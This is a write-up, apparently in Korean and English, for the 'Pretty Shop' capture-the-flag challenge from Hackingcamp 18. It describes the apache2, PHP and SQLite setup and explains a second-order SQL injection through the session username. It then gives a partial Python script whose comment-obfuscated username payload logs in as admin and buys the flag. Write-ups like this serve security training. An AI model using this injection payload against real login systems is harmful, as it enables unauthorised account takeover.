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Pretty Shop (Hackingcamp 18)

문제명 (Challenge name) : Pretty shop
출제자 (Author) : 문시우
난이도 (Difficulty) : Easy

문제 셋팅 (Settings)

환경 : apache2, php7.2.7, sqlite3

  1. apache2 설치하고 mod_rewrite 모듈 로드
    $ sudo rewrite.load ../mods-enabled/

  2. apache2.conf에서 .htaccess 인식하도록 설정
    AllowOverride를 None에서 All로 바꿔주면 됨

  3. sqlite3 설치 및 php-sqlite3 모듈 활성화 $ sudo apt-get install sqlite3
    $ sudo apt-get install php-sqlite3
    $ /etc/php/7.x/apache2/php.ini 에서 ;extension=php_sqlite3.dll 앞에있는 ; 지우기

취약점 개요 (Vulnerability)

Concept : Indirect sql injection in sqlite3

/classes/Shop.class.php 에서 취약점 발생
line 42 : $user = $this->get_user_information($_SESSION['username']);
get_user_information 메소드로 $_SESSION['username']를 그대로 넘겨주고 있다.

풀이 방법 (How to exploit)

from requests import post
# pretty shop write up

def main() :
	username = "username=-1'/**/and/**/0/**/or/**/username='admi'||'n';--"
	data = {"username": username, "password": "12345"}
	r = post('', data=data)

	r = post('', data=data)
	cookies = {'PHPSESSID':r.cookies['PHPSESSID']}

	get_flag = post('', data={'item':'flag'}, cookies=cookies)

if __name__ == '__main__' :
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